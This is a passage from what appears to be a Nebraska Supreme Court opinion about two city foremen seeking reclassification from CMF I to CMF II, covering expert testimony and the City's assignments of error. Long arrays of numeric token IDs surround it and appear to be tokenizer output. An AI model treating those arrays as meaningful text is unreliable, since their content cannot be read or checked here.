[ 42301, 6171, 275, 3045, 273, 12803, 13, 285, 25091, 33170, 6500, 8706, 15, 380, 12280, 39, 309, 9162, 5740, 858, 417, 2085, 323, 6265, 281, 23070, 32873, 2250, 1411, 42301, 6171, 13, 281, 13249, 6493, 342, 643, 9363, 22387, 13, 390, 281, 13791, 342, 253, 1345, 5001, 14672, 390, 9762, 323, 2579, 15, 187, 510, 12280, 39, 3719, 9162, 369, 2529, 347, 346, 3319, 2591, 285, 2221, 24236, 789, 347, 2273, 1342, 275, 4179, 273, 4583, 3576, 4254, 475, 10683, 273, 247, 3228, 9509, 390, 7922, 2170, 449, 380, 2628, 5740, 323, 253, 12280, 39, 3719, 9162, 2007, 4767, 326, 5749, 88, 62, 1064, 8687, 8294, 323, 35220, 2182, 42301, 11570, 9583, 275, 2087, 12803, 275, 253, 13205, 2170, 449, 36944, 273, 253, 12280, 39, 3719, 9162, 2908, 25859, 285, 16344, 6171, 13, 46705, 32873, 2250, 1411, 6171, 13, 45415, 789, 6493, 342, 643, 9363, 22387, 13, 285, 26728, 342, 253, 1345, 5001, 14672, 390, 9762, 323, 2579, 15, 187, 3404, 2332, 13, 43230, 7859, 326, 344, 574, 644, 7091, 342, 253, 7137, 9363, 9025, 273, 253, 3228, 347, 247, 12280, 39, 309, 13, 8523, 2444, 275, 253, 37984, 46547, 2593, 5068, 275, 4397, 7901, 15, 14702, 472, 7859, 326, 344, 574, 644, 7091, 342, 253, 7137, 9363, 9025, 273, 253, 3228, 347, 247, 12280, 39, 309, 13, 8523, 2444, 275, 253, 12102, 21623, 2593, 5068, 275, 11513, 15, 6004, 5632, 369, 671, 519, 23747, 326, 275, 2393, 9354, 13, 8341, 17609, 6887, 13, 342, 14702, 472, 3192, 689, 253, 1899, 347, 247, 12280, 39, 309, 275, 253, 37984, 46547, 2593, 285, 43230, 3192, 689, 253, 1899, 347, 247, 12280, 39, 309, 275, 253, 12102, 17249, 2593, 15, 2058, 512, 4623, 2069, 13, 8341, 497, 10509, 387, 253, 12280, 39, 309, 1268, 13, 10159, 273, 1880, 597, 497, 342, 253, 12102, 21623, 2593, 390, 253, 37984, 46547, 2593, 15, 187, 36645, 7859, 326, 253, 12803, 597, 2684, 1223, 7091, 275, 1097, 253, 37984, 46547, 2593, 285, 253, 12102, 21623, 2593, 2908, 25859, 285, 16344, 6171, 13, 46705, 32873, 2250, 1411, 6171, 13, 45415, 789, 6493, 342, 643, 9363, 22387, 13, 285, 26728, 342, 253, 1345, 5001, 14672, 390, 9762, 323, 2579, 15, 12601, 2007, 7859, 326, 6498, 6500, 285, 15299, 275, 253, 4588, 3520, 789, 2684, 407, 616, 10402, 369, 417, 247, 3963, 629, 273, 253, 12803, 597, 2684, 13, 533, 326, 597, 858, 10078, 275, 824, 3470, 275, 8945, 9534, 672, 627, 369, 247, 28938, 275, 11570, 1955, 281, 5809, 569, 390, 9749, 15, 187, 45840, 418, 335, 319, 13, 8341, 8, 8993, 26141, 13, 7859, 326, 12125, 271, 8945, 4112, 13, 6747, 3482, 11658, 6500, 672, 34735, 42301, 6171, 275, 3045, 273, 7922, 12803, 15, 418, 335, 319, 5821, 326, 8341, 574, 644, 9591, 12803, 2529, 760, 762, 253, 12280, 39, 3719, 9162, 15, 187, 36645, 1925, 18975, 418, 15, 1535, 483, 1342, 347, 271, 6485, 5517, 15, 1535, 483, 1342, 21186, 247, 1966, 5300, 25021, 5882, 534, 46259, 275, 5277, 11570, 3238, 281, 8238, 285, 21813, 13, 1690, 253, 2440, 273, 2628, 20121, 15, 13036, 281, 4983, 521, 1211, 2136, 13, 1535, 483, 1342, 12431, 247, 37589, 273, 14635, 4248, 275, 15750, 285, 17096, 369, 7091, 342, 253, 3228, 275, 253, 11570, 7811, 323, 247, 2180, 273, 1249, 1107, 15, 3032, 8410, 342, 253, 3228, 2908, 9417, 347, 11570, 19616, 432, 15750, 281, 15788, 13, 10963, 7205, 432, 15788, 281, 14304, 13, 11570, 6423, 432, 14304, 281, 13563, 13, 285, 5299, 2493, 6423, 432, 13563, 281, 12459, 15, 6408, 521, 28135, 342, 253, 3228, 13, 1535, 483, 1342, 369, 3206, 275, 34318, 253, 2628, 20121, 323, 253, 12280, 39, 309, 285, 12280, 39, 3719, 43394, 15, 496, 512, 13, 1535, 483, 1342, 574, 3435, 1107, 273, 2793, 275, 253, 2170, 273, 11570, 13, 10963, 13, 285, 2440, 273, 2628, 20121, 15, 187, 2290, 483, 1342, 9814, 253, 12280, 39, 309, 285, 12280, 39, 3719, 2628, 20121, 285, 253, 9725, 2628, 2175, 2684, 407, 253, 3228, 15, 754, 5196, 3367, 12888, 342, 8341, 285, 418, 335, 319, 285, 18029, 281, 253, 6206, 519, 23747, 275, 1302, 432, 8341, 285, 418, 335, 319, 15, 10635, 327, 436, 1491, 13, 1535, 483, 1342, 7859, 326, 275, 521, 4743, 13, 8341, 497, 9591, 253, 12803, 273, 253, 12280, 39, 3719, 9162, 15, 1535, 483, 1342, 14969, 326, 627, 369, 690, 14787, 875, 253, 12803, 475, 13397, 273, 253, 12280, 39, 309, 285, 12280, 39, 3719, 43394, 15, 1723, 13, 1535, 483, 1342, 7859, 326, 8341, 497, 417, 11719, 15299, 275, 253, 4712, 2684, 407, 616, 32173, 13, 534, 310, 247, 1159, 273, 253, 12280, 39, 309, 9162, 533, 417, 273, 253, 12280, 39, 3719, 9162, 15, 1535, 483, 1342, 2007, 4767, 326, 8341, 497, 9591, 1142, 273, 253, 3470, 2529, 760, 275, 253, 12280, 39, 3719, 9162, 13, 534, 2424, 731, 281, 5763, 247, 2169, 1268, 273, 3907, 3883, 13, 824, 347, 46705, 32873, 2250, 13, 45415, 6493, 342, 643, 22387, 13, 285, 26728, 342, 253, 1345, 5001, 14672, 15, 1198, 841, 4606, 13, 1535, 483, 1342, 6566, 8341, 497, 9591, 253, 12803, 273, 253, 12280, 39, 3719, 9162, 15, 187, 510, 3228, 1925, 767, 6485, 12170, 13, 40152, 322, 306, 87, 324, 13, 10963, 7205, 323, 253, 3228, 13, 285, 6911, 418, 15, 26118, 39480, 13, 6951, 273, 253, 4323, 7811, 273, 253, 6822, 273, 10518, 13500, 387, 253, 2499, 273, 20176, 387, 50180, 15, 322, 306, 87, 324, 2918, 247, 37589, 434, 4248, 275, 2136, 5286, 342, 271, 15075, 275, 1966, 7741, 4323, 285, 574, 1249, 1107, 8, 2793, 275, 253, 3672, 273, 2628, 9162, 285, 7103, 15, 26118, 39480, 574, 247, 37589, 434, 4248, 275, 20162, 13, 247, 6303, 434, 4248, 275, 9787, 20162, 13, 247, 7345, 366, 275, 2136, 5286, 13, 285, 247, 1569, 4248, 15, 26118, 39480, 574, 33444, 275, 253, 2170, 273, 2628, 1783, 285, 7103, 323, 2030, 1107, 15, 187, 15545, 327, 616, 10123, 273, 253, 12280, 39, 309, 285, 12280, 39, 3719, 2628, 20121, 13, 253, 9725, 2628, 2175, 2684, 407, 253, 3228, 13, 285, 6206, 519, 23747, 387, 2332, 13, 1097, 322, 306, 87, 324, 285, 26118, 39480, 7859, 326, 8341, 497, 9591, 253, 12803, 273, 253, 12280, 39, 309, 9162, 15, 322, 306, 87, 324, 1121, 967, 326, 8341, 497, 417, 2444, 3345, 253, 12280, 39, 309, 9162, 984, 597, 497, 9591, 253, 3470, 7117, 327, 253, 2628, 5740, 323, 253, 12280, 39, 309, 9162, 15, 1723, 13, 322, 306, 87, 324, 14969, 326, 627, 369, 690, 14787, 875, 253, 12803, 273, 253, 12280, 39, 309, 285, 12280, 39, 3719, 43394, 15, 26118, 39480, 7859, 326, 984, 8341, 497, 8785, 562, 1097, 346, 12185, 24236, 3, 285, 346, 79, 790, 29974, 24236, 3, 4712, 285, 497, 15299, 275, 690, 273, 253, 1072, 4712, 347, 616, 42272, 8475, 13, 597, 497, 6283, 966, 264, 387, 253, 12280, 39, 309, 1268, 15, 187, 2374, 2831, 14, 27181, 13, 26118, 39480, 7859, 326, 627, 497, 2176, 3672, 273, 28931, 275, 253, 12280, 39, 309, 285, 12280, 39, 3719, 2628, 20121, 13, 6108, 731, 1527, 281, 625, 685, 581, 7914, 15, 26118, 39480, 2007, 14969, 326, 344, 574, 20981, 432, 1569, 2143, 285, 369, 6600, 273, 247, 4320, 13989, 326, 672, 247, 3389, 556, 271, 28931, 285, 310, 16931, 281, 625, 685, 581, 7914, 13, 253, 8208, 273, 253, 6536, 699, 310, 4623, 15, 380, 3228, 27511, 281, 436, 6206, 347, 417, 1561, 253, 6485, 434, 2170, 273, 15040, 285, 4457, 253, 7990, 273, 1480, 8368, 15, 380, 14926, 369, 34310, 15, 26118, 39480, 2007, 7859, 13, 689, 14926, 13, 326, 1535, 483, 1342, 369, 253, 6536, 699, 273, 253, 2628, 20121, 285, 326, 275, 43073, 875, 253, 12280, 39, 309, 285, 13528, 46, 3719, 43394, 13, 1535, 483, 1342, 434, 6860, 369, 5749, 79, 62, 302, 10938, 13, 533, 4623, 449, 187, 1909, 247, 906, 273, 436, 2332, 13, 253, 2332, 1302, 5966, 7367, 10568, 253, 3228, 281, 294, 2437, 1419, 8341, 762, 253, 12280, 39, 3719, 9162, 13, 1659, 8341, 327, 253, 4569, 2075, 4311, 323, 326, 9162, 13, 2395, 323, 253, 17575, 3663, 1955, 281, 253, 14697, 9162, 13, 285, 2075, 8341, 1110, 17575, 323, 253, 2180, 5068, 5080, 3285, 13, 9725, 13, 285, 1919, 824, 673, 347, 253, 3228, 294, 39651, 8341, 762, 253, 12280, 39, 3719, 9162, 15, 380, 1302, 671, 11941, 6834, 8128, 281, 8341, 10376, 281, 253, 20176, 411, 486, 42659, 285, 17078, 3162, 15, 380, 3228, 434, 14462, 323, 747, 2332, 497, 5868, 13, 285, 247, 14793, 4549, 3560, 15, 12601, 840, 4724, 247, 5266, 281, 18210, 13, 534, 436, 1302, 7169, 15, 535, 187, 11, 9312, 21893, 13003, 39307, 3481, 33246, 187, 510, 3228, 12148, 13, 1551, 456, 13, 326, 253, 2332, 1302, 14416, 275, 313, 18, 10, 5877, 247, 2332, 372, 17590, 327, 8341, 8, 3916, 2581, 685, 34617, 697, 2278, 281, 253, 1924, 3562, 1078, 253, 2846, 12265, 28, 313, 19, 10, 27382, 285, 7296, 253, 6206, 273, 8341, 8, 6485, 5517, 28, 313, 20, 10, 27382, 285, 7296, 2176, 2831, 14, 27181, 6206, 432, 253, 3228, 434, 6485, 5517, 28, 313, 21, 10, 8925, 326, 271, 15890, 285, 7830, 943, 320, 1160, 281, 8341, 323, 253, 673, 2180, 5068, 5080, 3285, 13, 9725, 13, 285, 1919, 824, 673, 347, 8341, 497, 294, 39651, 762, 253, 12280, 39, 3719, 9162, 13, 347, 824, 4723, 5722, 346, 4238, 1677, 762, 253, 4833, 273, 9908, 285, 16, 263, 14751, 3664, 313, 22, 10, 15824, 253, 3228, 281, 2075, 8341, 8, 6834, 8128, 10376, 281, 253, 20176, 411, 486, 42659, 285, 17078, 3162, 28, 313, 23, 10, 38933, 8341, 8, 3200, 323, 747, 2332, 285, 5877, 253, 747, 2332, 1293, 4933, 253, 3228, 10599, 673, 281, 10347, 28, 285, 313, 24, 10, 21455, 281, 761, 2327, 3139, 15, 380, 15515, 285, 20117, 23768, 273, 2228, 403, 417, 9125, 275, 253, 3228, 434, 4864, 15, 9717, 641, 326, 403, 7922, 533, 417, 9125, 588, 417, 320, 9713, 407, 271, 16939, 1302, 15, 2418, 385, 774, 15, 6640, 6327, 362, 15, 46644, 13, 22943, 268, 15, 17558, 13, 32858, 23774, 15, 17558, 13, 721, 1423, 427, 15, 56, 15, 19, 69, 721, 1237, 313, 8971, 481, 3813, 13, 253, 15515, 285, 20117, 23768, 273, 2228, 588, 417, 320, 9713, 15, 187, 187, 48643, 10449, 3481, 5689, 31305, 187, 1992, 253, 6070, 271, 4549, 5841, 323, 11315, 7914, 390, 10262, 3533, 273, 1569, 13, 271, 16939, 1302, 1364, 3986, 271, 3907, 6452, 30472, 273, 253, 7441, 1160, 407, 253, 1302, 2708, 15, 29040, 362, 15, 3928, 273, 28345, 13, 22943, 268, 15, 49921, 13, 32858, 23774, 15, 49921, 13, 50059, 427, 15, 56, 15, 19, 69, 46771, 313, 8971, 481, 187, 34, 2332, 1302, 434, 10362, 275, 6883, 390, 22914, 271, 6485, 434, 6206, 534, 310, 5010, 4623, 588, 320, 13891, 760, 672, 627, 556, 644, 271, 7242, 273, 8637, 15, 41835, 362, 15, 39921, 4386, 296, 6853, 84, 708, 443, 1362, 904, 31605, 23774, 15, 721, 3079, 13, 46436, 427, 15, 56, 15, 19, 69, 818, 3507, 313, 6914, 481, 187, 510, 2408, 273, 8540, 281, 320, 11941, 310, 247, 7441, 12718, 323, 253, 958, 47135, 13, 285, 697, 2250, 275, 436, 1675, 588, 417, 320, 24714, 327, 4549, 604, 352, 310, 4516, 407, 253, 1941, 285, 17267, 247, 5272, 2954, 281, 253, 3603, 273, 253, 8540, 8058, 15, 5490, 251, 362, 15, 41640, 47393, 9537, 904, 22146, 23774, 15, 40625, 13, 49629, 427, 15, 56, 15, 19, 69, 721, 1787, 313, 6914, 481, 187, 187, 34, 21686, 6328, 1830, 187, 187, 3125, 13859, 6202, 427, 4741, 48, 187, 510, 3228, 3916, 253, 3286, 1302, 14416, 275, 5877, 247, 2332, 372, 17590, 327, 8341, 8, 3916, 2581, 685, 9433, 253, 2629, 273, 2278, 7763, 281, 10061, 275, 2228, 15, 187, 36645, 4724, 616, 3916, 1411, 253, 3228, 10376, 281, 285, 275, 10276, 342, 3015, 1638, 14, 28927, 15, 380, 12108, 273, 247, 1750, 10376, 281, 3015, 1638, 14, 28927, 310, 247, 19993, 38445, 281, 253, 14079, 273, 247, 16610, 1750, 1411, 247, 2846, 275, 253, 3286, 1302, 15, 16647, 362, 15, 3228, 273, 50180, 13, 23540, 23774, 15, 38290, 13, 34892, 427, 15, 56, 15, 19, 69, 43139, 313, 13435, 481, 187, 40417, 432, 247, 13336, 273, 247, 1750, 4724, 10376, 281, 3015, 1638, 14, 28927, 310, 2530, 407, 3015, 1638, 14, 49891, 15, 831, 2593, 3400, 275 ]

subordinate employees in performance of duties, and directing automotive equipment repair. The CMF I classification description did not provide for authority to initiate disciplinary action against subordinate employees, to coordinate projects with other maintenance divisions, or to communicate with the public regarding complaints or requests for service. The CMF II classification was described as "skilled and supervisory work as foreman in charge of overall effective operation *123 of a City facility or assigned area." The job description for the CMF II classification further stated that "[w]ork involves responsibility for supervising subordinate personnel engaged in general duties in the designated area." Functions of the CMF II classification included counseling and evaluating employees, recommending disciplinary action against employees, coordinating work projects with other maintenance divisions, and communicating with the public regarding complaints or requests for service. At trial, Hawkins testified that he had been employed with the traffic maintenance division of the City as a CMF I, initially working in the pavement markings section beginning in September 1990. Ballard testified that he had been employed with the traffic maintenance division of the City as a CMF I, initially working in the parking meter section beginning in 1988. Testimony was also adduced that in early 1994, plaintiffs switched positions, with Ballard taking over the position as a CMF I in the pavement markings section and Hawkins taking over the position as a CMF I in the parking meters section. At all relevant times, plaintiffs were classified at the CMF I level, regardless of whether they were with the parking meter section or the pavement markings section. Plaintiffs testified that the duties they performed while employed in both the pavement markings section and the parking meter section included counseling and evaluating employees, recommending disciplinary action against employees, coordinating work projects with other maintenance divisions, and communicating with the public regarding complaints or requests for service. Plaintiffs further testified that operating equipment and participating in the actual physical work performed by their crew was not a regular part of the duties they performed, but that they did participate in such functions in emergency situations when there was a shortage in personnel due to vacations or illness. Patrick Lulow, plaintiffs' immediate supervisor, testified that absent an emergency situation, neither plaintiff operated equipment when assisting subordinate employees in performance of assigned duties. Lulow agreed that plaintiffs had been performing duties described only under the CMF II classification. Plaintiffs called Gary L. Troutman as an expert witness. Troutman owns a human resources consulting firm which specializes in providing personnel services to cities and counties, including the development of job descriptions. Prior to starting his own business, Troutman earned a bachelor of arts degree in 1972 and thereafter was employed with the City in the personnel department for a period of 12 years. His employment with the City included serving as personnel specialist from 1972 to 1974, compensation manager from 1974 to 1978, personnel director from 1978 to 1982, and labor relations director from 1982 to 1984. During his tenure with the City, Troutman was involved in drafting the job descriptions for the CMF I and CMF II classifications. In all, Troutman had 27 years of experience in the area of personnel, compensation, and development of job descriptions. Troutman reviewed the CMF I and CMF II job descriptions and the 1993 job studies performed by the City. He conducted personal interviews with plaintiffs and Lulow and listened to the testimony adduced in court from plaintiffs and Lulow. Based on this information, Troutman testified that in his opinion, plaintiffs were performing the duties of the CMF II classification. Troutman acknowledged that there was some overlap between the duties *124 of the CMF I and CMF II classifications. However, Troutman testified that plaintiffs were not regularly participating in the activities performed by their crews, which is a function of the CMF I classification but not of the CMF II classification. Troutman further stated that plaintiffs were performing many of the functions described only in the CMF II classification, which required them to exercise a higher level of independent judgment, such as recommending disciplinary action, coordinating projects with other divisions, and communicating with the public regarding complaints. For these reasons, Troutman believed plaintiffs were performing the duties of the CMF II classification. The City called two expert witnesses, Tracy Svevad, compensation manager for the City, and Robert L. Ottemann, chair of the management department of the College of Business Administration at the University of Nebraska at Omaha. Svevad held a bachelor's degree in business administration with an emphasis in human resource management and had 12 years' experience in the areas of job classification and evaluation. Ottemann had a bachelor's degree in psychology, a master's degree in industrial psychology, a doctorate in business administration, and a law degree. Ottemann had consulted in the area of job analysis and evaluation for 25 years. Based on their reviews of the CMF I and CMF II job descriptions, the 1993 job studies performed by the City, and testimony adduced at trial, both Svevad and Ottemann testified that plaintiffs were performing the duties of the CMF I classification. Svevad opined that plaintiffs were not working outside the CMF I classification because they were performing the functions listed on the job description for the CMF I classification. However, Svevad acknowledged that there was some overlap between the duties of the CMF I and CMF II classifications. Ottemann testified that because plaintiffs were carrying out both "supervisory" and "nonsupervisory" activities and were participating in some of the same activities as their subordinates, they were properly classed at the CMF I level. On cross-examination, Ottemann testified that there were certain areas of ambiguity in the CMF I and CMF II job descriptions, leaving them open to more than one interpretation. Ottemann further acknowledged that he had graduated from law school and was aware of a legal proposition that when a document has an ambiguity and is susceptible to more than one interpretation, the intention of the drafter is relevant. The City objected to this testimony as not within the expert's area of expertise and beyond the scope of direct examination. The objection was overruled. Ottemann further testified, over objection, that Troutman was the drafter of the job descriptions and that in differentiating between the CMF I and CFM II classifications, Troutman's intent was "[n]ot controlling, but relevant." As a result of this trial, the trial court entered orders requiring the City to reclassify plaintiffs under the CMF II classification, place plaintiffs on the appropriate pay scale for that classification, account for the wages lost due to the improper classification, and pay plaintiffs those wages for the period beginning February 29, 1993, and until such time as the City reclassified plaintiffs under the CMF II classification. The court also awarded attorney fees to plaintiffs pursuant to the Nebraska Wage Payment and Collection Act. The City's motions for new trial were denied, and a timely appeal followed. Plaintiffs then filed a petition to bypass, which this court granted. *125 ASSIGNMENTS OF ERROR The City contends, restated, that the trial court erred in (1) holding a trial de novo on plaintiffs' claims rather than restricting its review to the record created before the city council; (2) permitting and considering the testimony of plaintiffs' expert witness; (3) permitting and considering certain cross-examination testimony from the City's expert witness; (4) determining that an accounting and payment should be made to plaintiffs for the time period beginning February 29, 1993, and until such time as plaintiffs were reclassified under the CMF II classification, as such damage award "was given under the influence of passion and/or prejudice"; (5) ordering the City to pay plaintiffs' attorney fees pursuant to the Nebraska Wage Payment and Collection Act; (6) sustaining plaintiffs' motion for new trial and holding the new trial without giving the City adequate time to prepare; and (7) refusing to recuse itself. The sixth and seventh assignments of error are not argued in the City's brief. Errors that are assigned but not argued will not be addressed by an appellate court. State ex rel. NSBA v. Flores, ante p. 256, 261 Neb. 256, 622 N.W.2d 632 (2001). Therefore, the sixth and seventh assignments of error will not be addressed. STANDARD OF REVIEW To the extent an appeal calls for statutory interpretation or presents questions of law, an appellate court must reach an independent conclusion irrespective of the determination made by the court below. Brandon v. County of Richardson, ante p. 636, 261 Neb. 636, 624 N.W.2d 604 (2001). A trial court's ruling in receiving or excluding an expert's testimony which is otherwise relevant will be reversed only when there has been an abuse of discretion. Snyder v. Contemporary Obstetrics & Gyn., 258 Neb. 643, 605 N.W.2d 782 (2000). The amount of damages to be awarded is a determination solely for the fact finder, and its action in this respect will not be disturbed on appeal if it is supported by the evidence and bears a reasonable relationship to the elements of the damages proved. Jameson v. Liquid Controls Corp., 260 Neb. 489, 618 N.W.2d 637 (2000). ANALYSIS TRIAL DE NOVO The City claims the district court erred in holding a trial de novo on plaintiffs' claims rather than applying the standard of review applicable to proceedings in error. Plaintiffs filed their claims against the City pursuant to and in compliance with § 14-804. The filing of a claim pursuant to § 14-804 is a procedural prerequisite to the prosecution of a wage claim against a city in the district court. Thompson v. City of Omaha, 235 Neb. 346, 455 N.W.2d 538 (1990). Appeal from a denial of a claim filed pursuant to § 14-804 is provided by § 14-813. This section provides in

[ 247, 2169, 11284, 323, 247, 2406, 359, 7164, 1821, 275, 253, 4311, 273, 6242, 937, 285, 4720, 13, 281, 253, 3426, 3552, 80, 344, 812, 873, 1066, 347, 2393, 347, 42791, 27, 187, 187, 42, 16575, 2868, 326, 387, 436, 1077, 2774, 309, 755, 5293, 273, 619, 7015, 41645, 3707, 432, 752, 310, 5061, 962, 728, 15, 380, 2389, 273, 10763, 43337, 10319, 15, 329, 9447, 1495, 310, 3365, 247, 6313, 23837, 27, 247, 3520, 13, 6255, 285, 16289, 2603, 273, 11284, 15, 2058, 253, 1072, 673, 352, 310, 271, 275, 13961, 1495, 281, 1421, 15, 733, 310, 247, 830, 273, 6891, 1255, 594, 2080, 347, 24835, 1456, 310, 7514, 15, 2596, 795, 18265, 64, 1056, 44488, 281, 2571, 28, 533, 627, 310, 1620, 247, 15504, 273, 924, 307, 7695, 6703, 24410, 15, 380, 760, 8542, 1495, 273, 253, 1533, 13, 347, 247, 637, 273, 253, 1533, 13, 417, 347, 247, 2499, 12734, 13, 247, 6724, 1250, 49146, 390, 47422, 13, 247, 6778, 14718, 1658, 382, 13, 247, 5729, 12844, 13, 247, 8081, 292, 390, 253, 751, 13, 533, 347, 247, 21501, 1981, 24230, 13, 247, 2583, 14, 11849, 11115, 13, 247, 15796, 13, 247, 18468, 310, 281, 320, 604, 46133, 247, 17927, 14, 40579, 404, 275, 253, 14562, 13, 247, 12524, 1436, 275, 3055, 1495, 15, 187, 187, 2598, 253, 3061, 13, 604, 440, 41694, 13, 556, 2168, 644, 1160, 1128, 936, 3153, 8746, 18260, 13, 347, 247, 346, 39176, 80, 14, 40579, 404, 937, 247, 346, 29706, 14, 11849, 11115, 3, 665, 310, 671, 346, 66, 12524, 1436, 275, 3055, 1495, 449, 795, 510, 2389, 273, 10763, 43337, 10319, 23338, 253, 3159, 346, 1257, 1920, 90, 3, 29141, 253, 1711, 14, 34979, 47921, 1128, 45222, 13, 11284, 13, 10763, 1128, 1615, 534, 22801, 6940, 285, 345, 1940, 2356, 521, 35240, 314, 915, 282, 285, 46698, 21765, 1533, 15, 380, 5249, 10165, 574, 2168, 644, 43997, 562, 407, 521, 3392, 275, 247, 4857, 3542, 4321, 281, 17330, 27, 346, 2214, 1495, 310, 2057, 247, 2469, 7909, 7156, 1128, 783, 7445, 273, 253, 492, 1301, 13, 390, 2221, 1136, 11634, 7773, 24718, 1128, 3980, 352, 310, 253, 4956, 7929, 314, 3600, 314, 2425, 273, 253, 36339, 665, 1056, 253, 1533, 38539, 285, 1805, 407, 616, 1146, 275, 352, 449, 187, 187, 510, 3626, 13016, 273, 6193, 661, 3928, 13, 352, 778, 320, 417, 1512, 43126, 4552, 281, 1333, 13, 4453, 33242, 1520, 285, 908, 285, 13, 604, 417, 26476, 7577, 13, 2581, 5284, 281, 2448, 2927, 15, 380, 8467, 28277, 19756, 16173, 13, 285, 253, 19607, 13, 342, 616, 439, 356, 4233, 6207, 2224, 13, 513, 1646, 49371, 264, 33430, 15, 380, 34642, 9193, 1014, 625, 8905, 1060, 685, 275, 1457, 5854, 13, 835, 271, 6944, 247, 48033, 31947, 352, 15, 21108, 13, 697, 38646, 871, 13, 310, 247, 47182, 1659, 15, 29250, 562, 327, 49031, 4383, 9241, 407, 7195, 24263, 13, 271, 2393, 4055, 273, 2448, 4491, 13, 26956, 407, 18024, 11072, 49357, 13, 285, 16248, 13, 275, 253, 3000, 273, 253, 34283, 3035, 12642, 20414, 7366, 3616, 1136, 3737, 13, 346, 328, 45580, 2136, 285, 9787, 11361, 3, 342, 247, 4112, 275, 247, 346, 5969, 17340, 2919, 937, 21108, 574, 275, 253, 1107, 672, 22801, 3260, 352, 1682, 247, 9979, 3282, 273, 3139, 347, 247, 795, 5070, 4414, 22801, 3260, 2994, 347, 247, 637, 273, 5053, 27, 346, 14660, 310, 271, 18830, 273, 952, 417, 273, 5053, 15, 1292, 323, 479, 1495, 310, 271, 18830, 273, 5053, 285, 326, 310, 253, 7596, 449, 496, 1635, 281, 253, 4891, 346, 45854, 3, 25258, 2331, 4182, 35957, 327, 253, 8660, 19708, 1507, 13, 521, 346, 23963, 6149, 3, 39433, 22801, 342, 247, 1966, 3753, 326, 369, 10237, 13, 3110, 13, 14211, 13, 285, 1547, 11303, 15, 187, 187, 2347, 1199, 22450, 344, 3058, 281, 3324, 521, 17714, 281, 14818, 539, 476, 320, 2326, 432, 253, 7166, 1261, 21829, 326, 521, 6122, 1060, 41084, 285, 2958, 6419, 15, 3032, 23252, 6376, 20962, 715, 521, 20960, 2890, 15, 11474, 627, 403, 41483, 273, 8847, 3295, 275, 690, 273, 521, 31454, 25443, 1128, 187, 187, 1542, 275, 253, 269, 1808, 309, 3047, 253, 5101, 187, 187, 12864, 3289, 1411, 253, 372, 88, 28, 253, 298, 1031, 3168, 187, 187, 18412, 2602, 285, 3676, 387, 34927, 28, 253, 687, 84, 552, 187, 187, 8093, 264, 6593, 247, 4956, 44221, 715, 253, 1708, 1128, 187, 187, 783, 39236, 403, 7099, 2205, 44179, 285, 253, 17082, 480, 272, 1981, 28, 275, 1457, 2816, 344, 11323, 690, 43195, 795, 348, 2610, 9141, 466, 64, 281, 3599, 48188, 434, 14348, 29909, 371, 1507, 533, 32751, 253, 7189, 316, 273, 13882, 28705, 281, 253, 39931, 273, 521, 3551, 273, 21518, 2363, 13, 534, 3133, 281, 3522, 313, 284, 858, 2604, 26202, 434, 10, 432, 521, 3101, 434, 2471, 13, 275, 32295, 15, 754, 4159, 281, 3599, 48188, 275, 34283, 13, 346, 42, 717, 2080, 432, 1146, 247, 21242, 1128, 395, 1364, 10725, 327, 1892, 285, 21738, 789, 449, 831, 3133, 16453, 28, 533, 344, 369, 5604, 2080, 432, 3509, 49514, 15, 3032, 795, 13804, 12299, 13536, 24461, 64, 9021, 13, 2167, 597, 49307, 8140, 26526, 253, 27392, 90, 33605, 273, 3563, 14, 35419, 757, 16053, 13, 275, 642, 1039, 7170, 253, 2165, 28, 5727, 13, 3578, 1107, 1996, 13, 308, 15, 322, 15, 45773, 13, 1907, 6888, 3905, 1542, 25070, 285, 42753, 323, 2994, 13, 369, 15979, 281, 253, 795, 26256, 24461, 64, 25443, 5550, 2302, 291, 321, 570, 937, 346, 52, 713, 257, 2807, 326, 403, 973, 327, 253, 1039, 281, 346, 49, 579, 71, 16249, 449, 187, 187, 18291, 2167, 22801, 369, 3468, 281, 1089, 521, 4318, 13, 3468, 281, 1056, 521, 806, 4849, 13, 285, 1014, 17357, 281, 1056, 521, 1273, 313, 795, 42317, 284, 273, 9700, 64, 1157, 275, 27386, 582, 344, 6940, 1048, 2217, 281, 18045, 841, 16063, 569, 1561, 271, 24904, 258, 70, 38527, 13, 273, 16122, 2938, 1371, 28, 521, 11010, 528, 3563, 10575, 327, 9425, 3606, 16876, 9287, 441, 273, 31540, 15, 754, 4546, 327, 285, 327, 13, 285, 275, 253, 990, 1912, 512, 253, 35186, 15, 3032, 3367, 31640, 1119, 2393, 2048, 275, 5006, 3639, 11916, 982, 285, 819, 3107, 15, 346, 42, 369, 33048, 247, 4194, 6421, 937, 344, 8599, 3599, 48188, 275, 247, 4857, 15, 496, 2872, 637, 3639, 13, 344, 40809, 2994, 715, 10488, 14, 25430, 16771, 2112, 253, 38907, 13, 638, 37771, 4252, 13939, 273, 11637, 13, 1457, 2816, 13, 285, 1457, 8911, 15, 8174, 967, 281, 521, 29210, 13, 24807, 13, 5412, 1930, 627, 369, 1633, 2049, 800, 285, 598, 287, 37993, 13, 534, 4469, 3139, 275, 16422, 342, 4181, 285, 8588, 15, 496, 36754, 13, 12930, 281, 3599, 48188, 247, 2940, 281, 13629, 434, 308, 4894, 327, 247, 8986, 1388, 13, 344, 12013, 13, 346, 1147, 369, 22878, 314, 5412, 1128, 2577, 3564, 497, 37653, 342, 352, 15, 1292, 253, 2329, 21986, 715, 441, 751, 1708, 715, 13862, 449, 380, 2460, 310, 6313, 36353, 13, 285, 6313, 32225, 13, 273, 247, 3686, 15, 22801, 3249, 387, 441, 13, 275, 253, 14242, 25443, 13, 3034, 8036, 13, 2120, 273, 11213, 1771, 13, 1670, 2158, 432, 11482, 360, 342, 38355, 14505, 5550, 2302, 23443, 360, 13, 1621, 322, 412, 13, 1621, 308, 20264, 937, 346, 2598, 14, 395, 14, 2598, 1720, 498, 1699, 327, 4058, 330, 9764, 937, 346, 34, 49092, 18296, 275, 253, 28214, 937, 346, 41676, 2516, 285, 253, 8247, 14, 34, 1962, 937, 3966, 2698, 285, 275, 253, 5893, 33737, 285, 25333, 29977, 2272, 594, 10084, 17421, 253, 29428, 641, 273, 521, 30318, 27, 41324, 187, 187, 8816, 292, 13, 320, 22813, 387, 253, 18542, 187, 187, 21020, 253, 1246, 13, 697, 288, 3288, 14, 1689, 80, 14, 1689, 80, 13, 187, 187, 27132, 439, 3288, 14, 1200, 3288, 14, 1200, 3288, 13, 697, 15438, 14, 66, 14, 695, 13, 187, 187, 27132, 546, 3391, 260, 607, 2966, 318, 15, 187, 187, 6812, 14941, 369, 1925, 2790, 275, 21108, 285, 26411, 387, 17330, 